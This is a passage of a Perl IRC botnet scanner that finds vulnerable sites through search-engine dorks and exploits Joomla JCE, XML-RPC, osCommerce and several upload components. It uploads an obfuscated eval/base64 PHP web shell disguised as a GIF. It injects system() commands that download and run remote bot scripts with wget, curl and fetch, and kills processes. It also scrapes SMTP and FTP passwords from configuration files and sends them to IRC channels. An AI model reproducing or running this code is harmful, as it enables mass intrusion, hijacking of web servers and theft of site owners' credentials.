  2478.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2479.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2480.     close($remote);
  2481. }
  2482.  
  2483.  
  2484. sub jce_cek_query2() {
  2485.     my $TARGET  = $_[0];
  2486.     ## Start Code ##
  2487. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2488. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2489. $header2 = "Host: $TARGET";
  2490. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2491. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2492. $header5 = "Content-Length: 2286"; #737
  2493. $header6 = "-----------------------------41184676334";
  2494. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2495. $header8 = '/';
  2496. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2497. $header10 = 'Content-Type: application/octet-stream';
  2498. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2499. $header12 = "0";
  2500. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2501. $header14 = 'Content-Type: image/gif';
  2502. $header15 = 'GIF89aG';
  2503. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2504. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2505. $header18 = 'magic.php';
  2506. $header19 = 'Content-Disposition: form-data; name="action"';
  2507. $header20 = 'upload';
  2508. $header21 = "-----------------------------41184676334--";
  2509. $header22 = 'X-Request: JSON';
  2510. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2511. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php"]}';
  2512. $header24 = "Content-Length: ".length($header25)."";
  2513.     # EOF COde ##
  2514.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2515.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5);
  2516.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2517.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2518.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2519.     close($remote);
  2520. }
  2521.  
  2522. sub jce_cek_query3() {
  2523.     my $TARGET  = $_[0];
  2524.     ## Start Code ##
  2525. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2526. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2527. $header2 = "Host: $TARGET";
  2528. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2529. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2530. $header5 = "Content-Length: 2286"; #737
  2531. $header6 = "-----------------------------41184676334";
  2532. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2533. $header8 = '/';
  2534. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2535. $header10 = 'Content-Type: application/octet-stream';
  2536. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2537. $header12 = "0";
  2538. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2539. $header14 = 'Content-Type: image/gif';
  2540. $header15 = 'GIF89aG';
  2541. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2542. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2543. $header18 = 'magic.php';
  2544. $header19 = 'Content-Disposition: form-data; name="action"';
  2545. $header20 = 'upload';
  2546. $header21 = "-----------------------------41184676334--";
  2547. $header22 = 'X-Request: JSON';
  2548. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2549. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.pHp"]}';
  2550. $header24 = "Content-Length: ".length($header25)."";
  2551.     ## EOF COde ##
  2552.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2553.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2554.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2555.     close($remote);
  2556. }
  2557.  
  2558. sub jce_cek_query4() {
  2559.     my $TARGET  = $_[0];
  2560.     ## Start Code ##
  2561. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2562. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2563. $header2 = "Host: $TARGET";
  2564. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2565. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2566. $header5 = "Content-Length: 2286"; #737
  2567. $header6 = "-----------------------------41184676334";
  2568. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2569. $header8 = '/';
  2570. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2571. $header10 = 'Content-Type: application/octet-stream';
  2572. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2573. $header12 = "0";
  2574. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2575. $header14 = 'Content-Type: image/gif';
  2576. $header15 = 'GIF89aG';
  2577. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2578. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2579. $header18 = 'magic.php';
  2580. $header19 = 'Content-Disposition: form-data; name="action"';
  2581. $header20 = 'upload';
  2582. $header21 = "-----------------------------41184676334--";
  2583. $header22 = 'X-Request: JSON';
  2584. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2585. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.pHp"]}';
  2586. $header24 = "Content-Length: ".length($header25)."";
  2587.     # EOF COde ##
  2588.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2589.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5);
  2590.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2591.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2592.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
  2593.     close($remote);
  2594. }
  2595.  
  2596. sub carismtp() {
  2597.     my $url    = $_[0];
  2598.     my $chan   = $_[1];
  2599.     my $site   = $_[2];
  2600.     my $engine = $_[3];
  2601.     my $logo   = $_[4];
  2602.     my $data   = &get_content($url);
  2603.     my $psite  = "http://".$site;
  2604.     if ($psite =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; }
  2605.         if ($data =~ m/smtphost/g && $data =~ m/smtppass/g || $data =~ m/ftp_host/g ) {
  2606.         my $smtphost=""; my $smtpport=""; my $smtpuser=""; my $smtppass="";
  2607.         if ($data =~ m/smtphost = '(.*)';/g) { $smtphost = $1; }
  2608.         if ($data =~ m/smtpport = '(.*)';/g) { $smtpport = $1; }
  2609.         if ($data =~ m/smtpuser = '(.*)';/g) { $smtpuser = $1; }
  2610.         if ($data =~ m/smtppass = '(.*)';/g) { $smtppass = $1; }
  2611.         if ($data =~ m/ftp_host = '(.*)';/g) { $ftp_host = $1; }
  2612.         if ($data =~ m/ftp_port = '(.*)';/g) { $ftp_port = $1; }
  2613.         if ($data =~ m/ftp_user = '(.*)';/g) { $ftp_user = $1; }
  2614.         if ($data =~ m/ftp_pass = '(.*)';/g) { $ftp_pass = $1; }
  2615.         &msg("$chan","$jcelogo(4,1$engine0,1) (4,1SMTP0,1:4,1$smtpuser0,1) (4,1FTP0,1:4,1$ftp_user)");
  2616.         &msg("$admin","$jcelogo(4,1$engine0,1)4,1 SMTP: $site -4,1 $smtphost:$smtpport $smtpuser:$smtppass |0,1 ftp://$site -4,1 $ftp_host:$ftp_port $ftp_user:$ftp_pass "); sleep(5);
  2617.         &ftp_connect("http://target.com",$host,$ftp_user,$ftp_pass,$chan,$engine); sleep(2);
  2618.     }
  2619. }
  2620.  
  2621. sub xml_exploit() {
  2622.     my $chan = $_[0];
  2623.     my $bug = $_[1];
  2624.     my $dork = $_[2];
  2625.     my $engine = $_[3];
  2626.     my $nick = $_[4];
  2627.     my $count = 0;
  2628.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo,$nick);
  2629.     my $num = scalar(@totexploit);
  2630.     if ($num > 0){
  2631.         foreach my $site(@totexploit){
  2632.         $count++;
  2633.         if ($count == $num-1) { &msg("$chan","$xmllogo4$engine14 Searching..."); }
  2634.             my $test = "http://".$site.$bug;
  2635.             my $vuln = "http://".$site."12".$bug;
  2636.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2637.             my $html = &get_content($test);
  2638.             if ($html =~ /faultcode/i ) {
  2639.             my $resp = &xml_cek_query($test);
  2640.             if ($resp =~ /j13mb0t(.*)j13mb0t/s) {
  2641.                     &msg("$chan","$xmllogo4$engine 14http://$site"); sleep(2);
  2642.             &xml_spread_query($test);sleep(1);
  2643.             my $sys = $1;
  2644.             my $shell = "http://".$site."/magic.php";
  2645.             my $shellx = "http://".$site."/cpx.php";
  2646.             my $check = &get_content($shell);&get_content($shellx);
  2647.             if ($check =~ /BArNEr/i) {
  2648.             &os2($shell,$chan,$engine,$xmllogo,$nick);
  2649.                 }
  2650.             }
  2651.                 } exit;
  2652.             }
  2653.         }
  2654.     }
  2655. }}
  2656.  
  2657. sub xml_cek_query() {
  2658.     my $url     = $_[0];
  2659.     my $code = "system('uname -a');";
  2660.     my $ua = LWP::UserAgent->new(agent => 'perl post');
  2661.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  2662.         $exploit .= "<methodName>test.method</methodName>";
  2663.         $exploit .= "<params><param><value><name>',''));";
  2664.         $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  2665.     $ua->timeout(7);
  2666.     my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  2667.     return $res->content;
  2668. }
  2669.  
  2670. sub xml_spread_query() {
  2671. my $xmltargt = $_[0];
  2672. my $xmlsprd  = "system('wget ".$injector." -O magic.php;wget ".$botshell2." -O cpx.php;fetch ".$injector.";mv end.jpg magic.php;fetch ".$botshell2.";mv cpx.jpg cpx.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv end.jpg tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf end.jpg;wget ".$botshell.";php end.jpg;rm -rf end.jpg;curl -O ".$botshell.";php end.jpg;rm -rf end.jpg;lwp-download ".$botshell.";php end.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php end.jpg;rm -rf end.jpg;wget ".$botshell.";php bot.txt;rm -rf end.jpg;curl -O ".$botshell.";php end.jpg;rm -rf end.jpg;lwp-download ".$botshell.";php end.jpg;');";
  2673.         my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  2674.         $exploit = "<?xml version=\"1.0\"?><methodCall>";
  2675.         $exploit .= "<methodName>test.method</methodName>";
  2676.         $exploit .= "<params><param><value><name>',''));";
  2677.         $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  2678.     $userAgent->timeout(7);
  2679. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  2680. }
  2681.  
  2682. sub clip_exploit() {
  2683.     my $chan = $_[0];
  2684.     my $bug = $_[1];
  2685.     my $dork = $_[2];
  2686.     my $engine = $_[3];
  2687.     my $nick = $_[4];
  2688.     my $count = 0;
  2689.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$cliplogo,$nick);
  2690.     my $num = scalar(@totexploit);
  2691.     if ($num > 0){
  2692.         foreach my $site(@totexploit){
  2693.             $count++;
  2694.         if ($count == $num-1) { &msg("$chan","$cliplogo4,1$engine0,1 Searching..."); }
  2695.             my $test = "http://".$site.$bug."?name=magic.php";
  2696.             my $test1 = "http://".$site.$bug."?name=magic.php.pHp";
  2697.             my $cek1 = &get_content($test);&get_content($test1);
  2698.             if ($cek1 =~ /Saving your image to/i){
  2699.             &msg("$chan","$cliplogo4,1$engine 0,1http://$site"); sleep(2);
  2700.             &jg_magic($test);
  2701.             &jg_magic($test1);
  2702.             my $shell = "http://".$site."admin_area/charts/tmp-upload-images/magic.php";
  2703.             my $shellx = "http://".$site."admin_area/charts/tmp-upload-images/magic.php.pHp";
  2704.                         my $check = &get_content($shell);
  2705.                         my $check2 = &get_content($shellx);
  2706.                         if ($check =~ /BArNEr/i){
  2707.             &os($shell,$chan,$engine,$cliplogo,$nick);
  2708.             }
  2709.                         if ($check2 =~ /BArNEr/i){
  2710.             &os2($shell,$chan,$engine,$cliplogo,$nick);
  2711.         }   }
  2712.         }
  2713.     }
  2714. }
  2715.  
  2716. sub red_exploit() {
  2717.     my $chan = $_[0];
  2718.     my $bug = $_[1];
  2719.     my $dork = $_[2];
  2720.     my $engine = $_[3];
  2721.     my $nick = $_[4];
  2722.     my $count = 0;
  2723.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$redlogo,$nick);
  2724.     my $num = scalar(@totexploit);
  2725.     if ($num > 0){
  2726.         foreach my $site(@totexploit){
  2727.             $count++;
  2728.         if ($count == $num-1) { &msg("$chan","$redlogo4,1$engine0,1 Searching..."); }
  2729.             my $test = "http://".$site.$bug."?name=magic.php";
  2730.             my $test1 = "http://".$site.$bug."?name=cpx.php";
  2731.             my $cek1 = &get_content($test);&get_content($test1);
  2732.             if ($cek1 =~ /Saving your image to/i){
  2733.             &msg("$chan","$redlogo4,1$engine 0,1http://$site"); sleep(2);
  2734.             &jg_magic($test);
  2735.             &jg_cps($test1);
  2736.             my $shell = "http://".$site."administrator/components/com_redmystic/chart/tmp-upload-images/magic.php";
  2737.             my $shellx = "http://".$site."administrator/components/com_redmystic/chart/tmp-upload-images/cpx.php";
  2738.                         my $check = &get_content($shell);&get_content($shellx);
  2739.                         if ($check =~ /BArNEr/i){
  2740.             &os($shell,$chan,$engine,$redlogo,$nick);
  2741.             }  }
  2742.         }
  2743.     }
  2744. }
  2745.  
  2746.  
  2747. sub live_exploit() {
  2748.     my $chan = $_[0];
  2749.     my $bug = $_[1];
  2750.     my $dork = $_[2];
  2751.     my $engine = $_[3];
  2752.     my $nick = $_[4];
  2753.     my $count = 0;
  2754.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$livelogo);
  2755.     my $num = scalar(@totexploit);
  2756.     if ($num > 0){
  2757.         foreach my $site(@totexploit){
  2758.             $count++;
  2759.         if ($count == $num-1) { &msg("$chan","$livelogo4,1$engine0,1 Searching..."); }
  2760.             my $test = "http://".$site.$bug."?name=magic.php";
  2761.             my $test1 = "http://".$site.$bug."?name=cpx.php";
  2762.             my $cek1 = &get_content($test);&get_content($test1);
  2763.             if ($cek1 =~ /Saving your image to/i){
  2764.             &jg_magic($test);
  2765.             &jg_cps($test1);
  2766.             my $shell = "http://".$site."library/tmp-upload-images/magic.php";
  2767.             my $shellx = "http://".$site."library/tmp-upload-images/cpx.php";
  2768.                         my $check = &get_content($shell);&get_content($shellx);
  2769.                         if ($check =~ BArNEr/i){
  2770.             &os($shell,$chan,$engine,$livelogo,$nick);
  2771.             }  }
  2772.         }
  2773.     }
  2774. }
  2775.  
  2776. sub reflex_exploit() {
  2777.     my $chan = $_[0];
  2778.     my $bug = $_[1];
  2779.     my $dork = $_[2];
  2780.     my $engine = $_[3];
  2781.     my $nick = $_[4];
  2782.     my $count = 0;
  2783.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$reflogo);
  2784.     my $num = scalar(@totexploit);
  2785.     if ($num > 0){
  2786.         foreach my $site(@totexploit){
  2787.             $count++;
  2788.         if ($count == $num-1) { &msg("$chan","$reflogo4,1$engine0,1 Searching..."); }
  2789.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2790.                 my $cxshell = "http://".$site."/wp-content/uploads/magic.php";
  2791.                 my $reflex = "http://".$site.$bug;
  2792.                 my $cek  = &get_content($reflex);sleep(1);
  2793.         if ($cek =~ /No files were uploaded/i){
  2794.                 my $explo = $rceinjector."?url=".$site."&type=ref";
  2795.                 &get_content($explo);sleep(1);
  2796.                 my $check = &get_content($cxshell."?shell");sleep(1);
  2797.                 if ($check =~ /BArNEr/i){
  2798.         &os($cxshell,$chan,$engine,$reflogo,$nick);
  2799.                 }
  2800.             }
  2801.         }
  2802.     }
  2803. }
  2804.  
  2805. sub osco_exploit() {
  2806.     my $chan = $_[0];
  2807.     my $bug = $_[1];
  2808.     my $dork = $_[2];
  2809.     my $engine = $_[3];
  2810.     my $nick = $_[4];
  2811.     my $count = 0;
  2812.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  2813.     my $num = scalar(@totexploit);
  2814.     if ($num > 0){
  2815.         foreach my $site(@totexploit){
  2816.         $count++;
  2817.         if ($count == $num-1) { &msg("$chan","$oscologo4,$engine0,1 Searching..."); }
  2818.             my $cat = "http://".$site."admin/categories.php/login.php";
  2819.             my $fm = "http://".$site."admin/file_manager.php/login.php";
  2820.             my $bm = "http://".$site."admin/banner_manager.php/login.php";
  2821.             my $pm = "http://".$site."admin/administrators.php/login.php";
  2822.             my $shell = "http://".$site."images/mailer.php?sh";
  2823.             my $shellx = "http://".$site."images/.images.php";
  2824.                         my $shell2 = "http://".$site."images/version.php";
  2825.                         my $shell3 = "magic://".$site."images/version.php?x=anonymous";
  2826.                         my $htaccess = "http://".$site."images/.htaccess";
  2827.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2828.                 my $coba = &get_content($cat);sleep(1);
  2829.                 my $cob2 = &get_content($fm);sleep(1);
  2830.                 my $cob3 = &get_content($bm);sleep(1);
  2831.                 my $cob4 = &get_content($pm);sleep(1);
  2832.                 if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
  2833.                    
  2834.                     my $test = $cat."?action=download&filename=/includes/configure.php";
  2835.                     my $cek = &get_content($test);
  2836.                     if ($cek =~ /http:\/\//) {
  2837.                         &admin_osco($site,$chan,$engine);
  2838.                     &osql_xpl($test,$chan,$site,$engine);
  2839.                     }
  2840.                     my $aplod = LWP::UserAgent->new;
  2841.                     my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./mailer.gif' => 'mailer.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
  2842.                     my $resa = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./scam.gif' => '.images.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa->as_string;
  2843.                     my $resa2 = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./smile.gif' => 'version.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa2->as_string;
  2844.                     my $resa3 = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./tongue.gif' => '.htaccess' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa3->as_string;
  2845.                            my $barner = &get_content($shell2); sleep(2);
  2846.                            if ($barner =~ /PHP Version/i) {
  2847.                            my $os = "";
  2848.                if ($barner =~ m/System <\/td><td class="v">(.*?)<\/td>/) {$os = $1;}
  2849.                         &msg("$admin","$engine $shell3 $os ");sleep(1);
  2850.                         &msg("$chan","PHP Version: $shell2 $os ");
  2851.                        
  2852.                     }
  2853.                     my $cekap = &get_content($shell);&get_content($shellx);
  2854.                     if ($cekap =~ /BArNEr/i) {
